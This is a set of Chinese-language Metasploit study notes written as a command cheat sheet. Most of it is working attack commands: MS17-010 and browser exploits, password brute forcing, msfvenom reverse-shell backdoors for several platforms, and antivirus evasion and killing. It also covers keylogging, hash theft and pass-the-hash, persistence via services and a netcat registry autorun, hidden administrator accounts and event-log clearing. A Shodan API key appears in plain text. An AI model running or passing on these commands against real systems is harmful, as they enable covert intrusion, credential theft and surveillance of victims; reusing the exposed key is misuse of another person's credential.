MSF
Metasploit FrameWork MSF
滲透測試攻擊框架
metasploit v4.14.10-dev
開發版是免費的,自動集成在kali 裏
正式版是收費的
https://www.metasploit.com/
https://github.com/rapid7/metasploit-framework
跨平臺的
諸葛建偉 《Metasploit 魔鬼訓練營》
msf 中的腳本都是ruby 語言寫的
利用「永恆之藍」直接入侵目標系統
永恆之藍 MS17-010
metasploit v4.16.48-dev
payload
就是咱們滲透攻擊是所使用的代碼
msfconsole 啓動msf 控制檯
search 搜索某一個模塊
use 使用某一個模塊
show options 查看某一個模塊的配置
set 命令
set RHOST 設置遠程目標地址
set LHOST 設置本機地址
set payload windows/x64/meterpreter/reverse_tcp
meterpreter 系列
通常使用tcp 反彈鏈接
windows/x64/meterpreter/reverse_tcp
show payloads 顯示全部可用的payload 模塊
show targets 顯示可用的目標
exploit
MS17-010 緩衝區溢出漏洞
比較底層 並且與系統架構和程序的內存空間有關係
程序的運行時逐條執行
經過緩衝區溢出漏洞改變了程序的執行流程
meterpreter
技術優點
平臺通用性
純內存工做模式
靈活且加密的通訊協議
易於擴展
基本命令
background
sessions
sessions -i 1
quit
shell
metsploit
sync 保存當前配置
metasploit(msf)
滲透攻擊(exploit)
測試者利用系統,程序,或者服務的漏洞進行攻擊的過程
攻擊載荷(payload)
攻擊者在目標系統上執行一段攻擊代碼,該代碼具備反彈鏈接,建立用戶,執行其餘系統命令的功能
shellcode
在目標機器上運行的一段機器指令,成功執行後會返回一個shell(至關於木馬的服務端,能夠主動鏈接客戶端)
模塊(module)
指metasploit框架中所使用的一段軟件代碼組件
監聽器(listener)
metasploit中用來等待接入網絡鏈接的組件
msf模塊
aux輔助模塊(主要完成信息收集)
exploit模塊(進行滲透攻擊)
post後滲透攻擊模塊(進行主機控制和拓展攻擊)
meterpreter後滲透攻擊模塊(對目標主機的持久控制)
msf能夠實現對指定的攻擊載荷進行自動化編碼機制繞過攻擊限制與檢測機制。
=[ metasploit v4.17.31-dev ]
+ — –=[ 1842 exploits – 1041 auxiliary – 320 post ]
+ — –=[ 541 payloads – 44 encoders – 10 nops ]
+ — –=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]
模塊
exploits 滲透攻擊模塊
auxiliary 輔助模塊
post 後滲透攻擊模塊
payloads 攻擊載荷模塊
encoders 編碼器模塊
nops 空指令模塊
接口
msfconsole 控制檯
msfcli 命令行
msfgui 圖像化界面
armitage 圖形化界面
msfapi 遠程調用接口
msf啓動設置
msf與postgresql協同工做
msfdb
msfdb init
msfconsole
進入後輸入db_status查看數據庫鏈接狀態
鏈接成功,簡單易操做,從新創建緩存
msf > db_rebuild_cache
最後把postgresql設置爲開機自啓
root@kali:~# update-rc.d postgresql enable
workspace -a test 建立一個工做臺
刪除 -d 選項
進入 test 工做臺
workspace test
使用nmap
db_nmap -sS 192.168.199.103 掃描主機
db_export 1.xml 導出掃描結果
db_import 2.xml 導入掃描結果
hosts 查看掃描的目標
db_services 查看掃描結果
db_hosts -C address 查看導入的主機ip
msf > nmap -v -sV 192.168.199.237
信息蒐集模塊
1.whois查詢
msf > whois testfire.com
msf > whois 8.8.8.8
2.http://searchdns.netcraft.com 在線蒐集服務器 IP信息工具
3.nslookup
msf > nslookup
> www.baidu.com
高級掃描方式
search scanner
掃描ip段中存活的ip
use auxiliary/scanner/ip/ipidseq #ipid序列掃描器,與nmap -sI -O選項相似
show options
set RHOSTS 192.168.199.1/24
set RPORT 80
set THREADS 50
run
(RHOST、RPORT等參數也能夠小寫)
使用portscan端口掃描模塊
search portscan
auxiliary/scanner/portscan/syn
set threads 50(真實使用時線程儘量小,線程過大目標容易死機)
run
特定掃描
smb_version模塊:
search scanner/smb
use auxiliary/scanner/smb/smb_version
show options
set rhosts 192.168.199.1/24
run
db_hosts -c address,os_flavor
找mysql主機:
msf > search /scanner/mysql
msf > use auxiliary/scanner/mysql/mysql_version
msf > show options
msf > set rhosts 192.168.199.1/24
msf > threads 50(線程過大容易宕機)
msf > run
SSH服務器掃描
msf > search /scanner/ssh
msf > use auxiliary/scanner/ssh/ssh_version
msf > show options
msf > set rhosts 192.168.199.1/24
msf > threads 50
msf > run
telnet服務掃描(同上)
msf > search /scanner/telnet
msf > use auxiliary/scanner/telnet/telnet_version
掃描ftp匿名登陸
msf > search /scanner/ftp
msf > use auxiliary/scanner/ftp/anonymous
VNC身份認證
search /scanner/vnc
use auxiliary/scanner/vnc/vnc_none_auth
WMAP是一款輕量級的web漏洞掃描器
WMAP
msf > load wmap 啓動wmap
msf > wmap_sites 查看選項
msf > wmap_sites -a http://www.payload.com 添加一個URL
msf > wmap_sites -l 查看添加的網站信息
msf > wmap_targets -t http://107.170.124.147
msf > wmap_targets -l 查看是否寫入成功
msf > wmap_run -h 查看掃描選項
msf > wmap_run -t
msf > wmap_run -e
msf > wmap_vulns -l
msf > vulns 列出發現的漏洞信息
掃描局域網中的存活主機
msf > search /scanner/discovery
msf > use auxiliary/discovery/arp_sweep
掃描網站目錄
msf > search /scanner/http/dir
msf > use auxiliary/scanner/http/dir_scanner
掃描SNMP主機(主機管理):
msf > search /scanner/snmp
msf > use auxiliary/scanner/snmp/snmp_login
開放代理探測與利用
msf > search open_proxy
msf > use auxiliary/scanner/http/open_proxy
set RHOSTS 192.168.199.1/24
set MULTIPORTS true
set THREADS 100
run
root@kali:~# openvas-start 開啓
在msf中使用openvas
msf > open openvas
msf > openvas_connect admin admin 192.168.199.103 9390 ok
搜索網站中的E-mail地址
msf > search search_email
msf > use auxiliary/gather/search_email_collector
> show options
> set Domain testfire.com
嗅探抓包
msf > search sniffer
msf > use auxiliary/sniffer/psnuffle
口令爆破模塊
ssh口令爆破
msf > search /scanner/ssh
msf > use auxiliary/scanner/ssh/ssh_login
> set rhosts 192.168.199.238
> set PASS_FILE pass.txt
> set USERNAME root
> exploit
tomcat爆破
msf > search tomcat
msf > auxiliary/scanner/http/tomcat_mgr_login
telnet爆破
msf > search tomcat
msf > use auxiliary/scanner/telnet/telnet_login
ftp爆破
msf > search ftp
msf > use auxiliary/scanner/ftp/ftp_login
samba爆破
msf > search smb
msf > use auxiliary/scanner/smb/smb_login
rdp、postgresql、mysql、mssql等等其餘服務用法相似
漏洞利用模塊
metasploit經常使用漏洞利用命令
用指定關鍵字搜索可利用漏洞:
search <name>
使用漏洞:
use <exploit name>
顯示選項:
show options
設置選項:
set <OPTION NAME> <option>
顯示裝置:(用來回連的攻擊載荷)
show payloads
顯示目標(os版本):
show targets
設置目標版本:
set targets <target number>
開始漏洞攻擊:
exploit
sessions -I 列出會話
sessions -i <ID> 選擇會話
sesssion -k <ID> 結束會話
Ctrl + z 會話放到後臺
Ctrl + c 結束會話
show auxiliary 顯示輔助模塊
use <auxiliary name> 使用輔助模塊
set <option name> <option> 設置選項
run 運行模塊
auxiliary經常使用模塊
admin 管理模塊漏洞(繞過、上傳、下載等)
analyze 身份認證漏洞
client 客戶端漏洞
dos 操做系統漏洞
fileformat 文件格式
fuzzers 模糊測試
gather 信息收集
scanner 掃描爆破
server(dns、dhcp、ftp等) 服務漏洞
spoof 欺騙
sqli 注入
VoIP 網關協議等
測試漏洞
ms10_002
ms10_018
ms12_020
ms10_046
ms08_067(xp遠程代碼執行)
ms12_004(xp、server200三、win7文件解析遠程代碼執行)
linux samba 漏洞利用
dll 注入攻擊
MS10_002
實驗環境:kali+xp
msf > search ms10_002
msf > use exploit/windows/browser/ms10_002_aurora
show payloads
set paylaod
> set payload windows/meterpreter/reverse_tcp
show options
> set SRVHOST 192.168.199.165
> set SRVPORT 80
> set URIPATH /
> set LHOST 192.168.199.165
> set LPORT 444
使用會話1
> sessions -i 1
meterpreter > shell
ms10_018 microsoft IE畸形對象操做內存破壞漏洞
受影響系統:
win7(IE7.0)
IE 6.0
IE 6 SP1
msf > search ms10_018
msf > use exploit/windows/browser/ms10_018_ie_behaviors
> show payloads
> set payload windows/shell/reverse_tcp
> set SRVHOST 192.168.199.165 (本機地址)
> set SRVPORT 83
> set URIPATH /
> set LHOST 192.168.199.165(因爲採用reverse_tcp反向鏈接技術,故該地址爲反向監聽的地址)
> set LPORT 1222
> exploit
sessions -i 查看會話
sessions -i 1 使用會話1
ms12_020(藍屏)
search ms12_020
use auxiliary/scanner/rdp/ms12_020_check (掃描開啓3389的主機)
show options
set RHOSTS 192.168.199.1/24
set THREADS 50
run
use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
show options
set RHOSTS 192.168.199.237
run
ms10_046
受影響系統:xp、win七、winserver2008
use exploit/windows/browser/ms10_046_shortcut_icon_dllloader
ms12_004
use exploit/windows/browser/ms12_004_midi
> set payload windows/meterpreter/reverse_tcp
linux samba漏洞
影響版本:samba3.0 debian
search samba
use exploit/linux/samba/lsa_transnames_heap
show payloads
set payload linux/x86/shell_bind_tcp
show options
set RHOST 192.168.199.199
set LPORT 8080
exploit
dll注入攻擊
msf > search webdav_dll
msf > use exploit/windows/browser/webdav_dll_hijacker
set payload windows/meterpreter/reverse_tcp
> set SRVHOST 192.168.199.165
> set SRVPORT 80
> set LHOST 192.168.199.165
set LPORT 1015
exploit
Ndproxy內核提權
前提 有一個會話
meterpreter > exit
sessions
search ms14-002
exploit/windows/local/ms_ndproxy
show options
set session 1
exploit
getuid
meterpreter > getsystem (meterpreter下直接提權)
內網滲透
meterpreter > run autoroute -s 192.168.199.1/24
meterpreter > run autoroute -p (活躍的路由表)
xss利用
msf > search keylogger
msf > use auxiliary/server/capture/http_javascript_keylogger
set DEMO true
set SRVPORT 80
run
msf shellcode的使用(後門)
windows
linux
android
java
php
windows後門
生成shellcode
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f exe > shell.exe
偵聽shellcode
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.199.165
set LPORT 444
exploit
將生成的shell.exe發送或上傳到目標系統並執行便可拿到反彈shell系統權限
——————————————————————–
Linux後門
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f exe > shell.exe
———————————————————————
android後門
生成android shellcode
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f apk > shell.apk
偵聽shellcode
use exploit/mutli/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.199.165
set LPORT 444
exploit
dump_contacts 導出電話
dump_sms 導出信息
Webcam_list 攝像頭列表
-i 1 選擇某個攝像頭
webcam_snap 拍照
webcam_stream 開啓攝像頭
java後門
生成shellcode
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f jar > shell.jar
偵聽shellcode
use exploit/mutli/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.199.165
set LPORT 444
exploit
php後門
生成shellcode
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=444 -f php > shell.php
偵聽shellcode
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.199.165
set LPORT 444
exploit
其他類型如python、jsp、asp、war、mac等用法相似
shellcode常規免殺
使用多重編碼免殺
加殼免殺
upx免殺 root@kali:~# upx -5 shell.apk
veil免殺
shellter免殺(給正常exe注入代碼)
Kali Linux:
apt-get update
apt-get install shellter
shellter
(須要wine環境apt-get install wine32)
meterpreter>getuid
meterpreter>hushdump(獲取密碼hash)
kali linux 64位上安裝32位的wine
在終端下輸入
dpkg –add-architecture i386
apt-get update
apt-get install wine32
安裝會有一個error提示 提示使用apt-get update來修復,那就繼續輸入apt-get update
apt-get install wine32
OK
meterpreter經常使用命令
對反彈的shellcode進行利用的平臺
截屏 screenshot
獲取系統運行的平臺 sysinfo
獲取鍵盤記錄
keyscan_start
keyscan_dump
ps 查看進程
migrate 1744 切換進程
run post/windows/capture/keylog_recorder 記錄鍵盤記錄
hashdump 獲取hash
新開一個終端開啓msf(hash值傳遞滲透)
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.199.165
set LPORT 9999
set RHOST 192.168.199.103
show options
set SMBUser Administrator
set SMBPass xxxxxxxxxx
exploit
成功使用hash登陸目標機器
meterpreter持久控制PC機
進程遷移
run post/windows/manage/migrate(自動查找穩定的進程並切換)
關閉殺軟
run killav
查看目標機全部流量
run packetrecorder -i 1
提取系統信息
run scraper
持久控制
設置後門每50秒外連一次
run persistence -X -i 50 -p 1111 -r 192.168.199.165
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.199.165
set LPORT 1111
exploit
sessions -u 2 升級shell變meterpreter
持久控制服務器
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.165 LPORT=3333 -f exe > shell.exe
前提條件服務器系統能夠
run metsvc -A 安裝後門
msfconsole
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set LPORT 31337(固定端口不可變)
set RHOST 192.168.199.103
exploit
在metaploit中捕獲包
得到meterpreter shell後使用
meterpreter>run packetrecorder 捕獲目標系統數據包
meterpreter>run packetrecorder -li 查看可用的捕獲網絡接口
meterpreter>run packetrecorder -i 1 -l /root 指定捕獲接口並將捕獲文件保存到root
msf對samba的usermap進行利用
search samba/usermap
use exploit/multi/samba/usermap_script
info exploit/multi/samba/usermap_script 查看usermap_script的詳細信息
set RHOST 192.168.199.103
exploit
使用metasploit實現shodan搜索;
1.在sodan網站註冊帳號
2.獲取網站api key
API Key: DIBm9sd41tZlOecdazy9LdgQYV6SI2WE
3.啓動postgresql:service postgresql start
4.啓動metaploit
5.search shodan_search
use auxiliary/gather/shodan_search
set SHODAN_APIKEY DIBm9sd41tZlOecdazy9LdgQYV6SI2WE
set QUERY iomega
run
修改網卡配置信息:
sudo vim /etc/network/interfaces
重啓
sudo /etc/init.d/networking restart
配置路由信息
vim /etc/sysctl.conf
設置轉發規則
echo 1 > /proc/sys/net/ipv4/ip_forward
內存攻擊
攻擊者利用軟件安全漏洞構造惡意輸入致使軟件在處理輸入數據時出現非預期錯誤,將輸入數據寫入內存中某些特定敏感位置,從而劫持軟件控制流,
而執行外部輸入的指令代碼,形成目標系統被遠程控制或拒絕服務。
緩衝區溢出漏洞
程序因爲缺少對緩衝區的邊界條件檢查而引發的一種異常行爲,一般是程序向緩衝區中寫數據,但內容超過了程序員設定的緩衝邊界,形成程序的非預期行爲。
棧溢出
棧溢出發生在程序向位於棧中的內存地址寫數據時,當寫入的數據長度超過棧分配給緩衝區的空間時,就會形成棧溢出,理想狀況下能夠執行任意代碼
堆溢出
堆是程序運行時動態分配的內存
msf中自動化瀏覽器攻擊
search browser_autopwn
use auxiliary/server/browser_autopwn
Adobe滲透測試
meterpreter命令
信息竊取—dumplinks
meterpreter > run post/windows/gather/dumplinks
得到目標主機最近進行的系統操做、訪問文件和office文檔操做記錄
enum_applications模塊
meterpreter > run post/windows/gather/enum_applications
得到目標主機安裝的軟件、安全更新與漏洞補丁的信息
鍵盤記錄器
meterpreter > keyscan_start 啓動鍵盤記錄
meterpreter > keyscan_dump 輸出截獲到的用戶輸入
meterpreter > keyscan_stop 退出
使用數據包嗅探模塊
meterpreter >use sniffer
讀取瀏覽器緩存
meterpreter > run post/windows/gather/enum_ie
包括目標主機IE瀏覽歷史記錄、保存到cookie、IE緩存的密碼等都保存到本地文件中
smart_hashdump後滲透攻擊模塊工做流程:
meterpreter > run windows/gather/smart_hashdump
1.檢查會話具備的權限和目標操做系統類型
2.檢查目標機是不是域控服務器
3.首先嚐試直接從註冊表中讀取哈希值,不成功的話再嘗試注入LSASS進程。
若是是域控制器將直接對LSASS進程進行注入。
4.若是目標系統是win 2008 server,並且會話具備管理員權限,這時使用getsystem命令嘗試得到system權限,若是system權限下不能注入LSASS進程,這時會用migrate命令將代碼移植到已經運行在system權限下的進程中,而後再對LSASS進程進行注入;
5.若是檢測到目標系統是win7/vista,UAC已經關閉,並且會話具備本地管理員權限,這時運行getsystem命令從註冊表中讀取;
6.在win2003/2000/xp系統下直接運行getsystem命令,若是成功再從註冊表中讀取哈希值。
能夠看出,start_humpdump模塊考慮了在多種系統環境下密碼哈希獲取的差別,以及在LSASS進程注入不成功狀況下的解決辦法,成功率提高很多。
可是若是win7開啓了UAC,獲取密碼哈希和getsystem命令都會失敗,這時則須要首先使用繞過win7 UAC的後滲透攻擊模塊。
得到目標系統hash後兩種利用方式
1.破解hash進行利用(針對簡單口令)
2.直接重放利用,利用獲取的口令進行哈希傳遞攻擊
內網拓展
以攻陷的主機做爲跳板,在對內網中其餘機器進行攻擊。
添加路由
meterpreter > run get_local_subnets
meterpreter > background
route add 192.168.199.0/24 255.255.255.0 2 告知系統將192.168.199.0/24網段(即受控主機本地網絡)經過攻擊會話2進行路由。
route print 顯示當前活躍的路由設置
能夠看到msf成功的在會話上添加了該網段的路由,這意味着你對該網段全部的攻擊和控制的流量都將經過會話1進行轉發。
2.進行445端口進行掃描
search scanner/postscan/tcp
set RHOSTS 192.168.199.0/25
set RPORT 445
run
3.攻擊過程
對掃描到的機器進行攻擊
msf > use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.199.165
set LPORT 443
set RHOST 192.168.199.103
set SMBPass xxx
exploit
使用droplink的post模塊在目標機器C:\windows\system32目錄建立work.lnk文件。
msf > search droplnk
msf > use post/windows/escalate/droplnk
5.搭建SMB服務器
msf > search windows/smb
msf > use exploit/windows/smb/smb_relay
set SRVHOST 192.168.199.100
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.199.165
exploit
使用jobs 查看運行狀態
環境搭建好了,就等着魚兒上鉤了
最後一步,清除痕跡
利用kali linux光盤或者usb啓動盤破解windows密碼
測試目標 win七、win8
自啓動postgresql
update-rc.d postgresql enable
db_import kfnmap.xml
hosts -c address
services 查看主機開放的服務
端口掃描
search scanner/portscan
migrate 1044 進程注入
meterpreter
運行腳本 run vnc
遷移進程 run post/windows/manage/migrate
關閉殺軟 run killav
獲取hash密碼 hashdump
查看流量 run packetrecorder -li 1
獲取操做信息信息 run scraper
建立持久後門 run persistence -X -i 50 -p 4445 -r 192.168.199.165
use multi/handler
set paylaod windows/meterpreter/reverse_tcp
set LPORT 4445
set LHOST 192.168.199.165
run
Raingun組件
提供了在meterpreter中調用windows api的能力
meterpreter > irb
>> client.railgun.user32.MessageBoxA(0,’hello’,’world’,MB_ok)
目標系統會彈出一個hello world的彈窗。
payload分離免殺針對win32位系統
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.199.165 lport=8080 -e x86/shikata_ga_nai -i 5 -f raw > test.c
Desktop\shellcode_launcher-master>shellcode_launcher.exe -i test.c
使用execute執行程序
meterpreter > execute -f 1111.exe
execute -f<file> [Options]
運行後它將執行file參數所指定的文件。可選參數以下:
-H:建立一個隱藏進程
-a:傳遞給命令的參數
-i:跟進程進行交互
-m:從內存中執行
-t:使用當前僞造的線程令牌運行進程
-s:在給定會話中執行進程
啓用遠程桌面(rdesktop 192.168.192.xxx)
當咱們新添加的用戶已經擁有
遠程桌面權限以後,咱們就可使用這個帳號憑證來開啓遠程桌面會話了。
首先,咱們須要確保目標Windows設備開啓了遠程桌面功能(須要開啓多個服務),不過咱們的getgui腳本能夠幫咱們搞定。咱們可使用-e參數確保目標設備開啓了遠程桌面功能(重啓以後一樣會自動開啓):
meterpreter > run getgui -e
在開啓遠程桌面會話以前,咱們還須要使用「idletime」命令檢查遠程用戶的空閒時長:
meterpreter > idletime
User has been idle for: 1 hour 4 mins 49 secs
鍵盤記錄
Meterpreter還能夠在目標設備上實現鍵盤記錄功能,鍵盤記錄主要涉及如下三種命令:
keyscan_start:開啓鍵盤記錄功能
keyscan_dump:顯示捕捉到的鍵盤記錄信息
keyscan_stop:中止鍵盤記錄功能
清除日誌
meterpreter > clearev
meterpreter 持久化訪問的多種方式
meterpreter 在獲取shell以後,如何持續控制目標主機,即在目標主機重啓或下次開機後能自動鏈接到攻擊主機上,沒必要每次都須要進行攻擊取得 meterpreter。
1. 經過persistence腳本
meterpreter > run persistence -X -i 5 -p 4444 -r 192.168.199.165
-X 開機自啓動
-i <num> payload重連的間隔時間
-p 反向鏈接端口號
-r 反向鏈接IP地址
2. 經過metsvc服務的方式
運行」run metsvc」將會在目標主機上以Meterpreter的服務的形式註冊在服務列表中,並開機自動自動。運行」run metsvc -r」卸載目標主機上的Meterpreter服務。
meterpreter > run metsvc
3. 經過開啓遠程桌面
強制開啓目標主機遠程桌面並自動添加用戶名爲metasploit密碼爲meterpreter的用戶
run getgui -u metasploit -p meterpreter
# 上面命令會生成清理痕跡的ruby的腳本文件,位置在/root/.msf4/logs/scripts/getgui/clean_up_xxxxx.rc
# 當操做完目標用戶後可使用此腳本清理痕跡、關閉遠程桌面服務和刪除建立的用戶
un multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up_xxxxx.rc
4. 經過nc(netcat)
# 上傳nc.exe至目標主機
meterpreter > upload /root/Desktop/nc.exe c:\\windows\\system32
# 枚舉查看註冊表啓動項
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
# 將nc.exe設置到註冊表啓動項中
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v
nc -d ‘c:\windows\system32\nc.exe -Ldp 455 -e cmd.exe’
# 查看以肯定nc已經被設置到註冊表啓動項中
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v
nc
# 進入目標系統cmd
eterpreter > execute -f cmd -i
# 查看目標系統當前防火牆規則
c:\Document and Setting\rush\Desktop > netsh firewall show opmode
# 將nc開放的端口加入到目標系統防火牆規則中
c:\Document and Setting\rush\Desktop > netsh firewall add portopening TCP 455 「Service Firewall」 ENABLE ALL
# 查看目標系統防火牆端口開放狀態
c:\Document and Setting\rush\Desktop > netsh firewall show portopening
# 轉至攻擊主機上,執行nc鏈接到目標主機上,獲得shell
nc
-v
192.168.0.3 455
5. 目標主機建立隱藏用戶
# 建立用戶(注意這裏用戶使用了$符號,能夠起到隱藏建立用戶的目的)
c:\Document and Setting\rush\Desktop > net user hacker$ hacker /add
# 將建立的用戶添加到管理員組
c:\Document and Setting\rush\Desktop > net localgroup administrators hacker$ /add
免殺工具—Veil-Evasion
項目地址:https://github.com/Veil-Framework/Veil-Evasion Veil-Evasion是與Metasploit生成相兼容的Payload的一款輔助框架,並能夠繞過大多 數的殺軟。
git clone https://github.com/Veil-Framework/VeilEvasion.git
/setup.sh 安裝
msf內置search模塊,在實戰中,爲了更快速的找到對應模塊,它提供了type參數(將來會 具體講到模塊參數),以ftp模塊爲例。
msf > search type:auxiliary ftp
msf > use auxiliary/scanner/ftp/ftp_version
show options
顯示中requeried 列爲yes則爲必填項,必須得設置參數。
set RHOSTS 192.168.199.103
set THREADS 50
exploit
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 192.168.199.103
set USERNAME administrator
set PASS_FILE /root/wordlist.txt
exploit
ftp本地模糊測試輔助模塊:
search fuzzers/ftp
use auxiliary/fuzzers/ftp/ftp_pre_post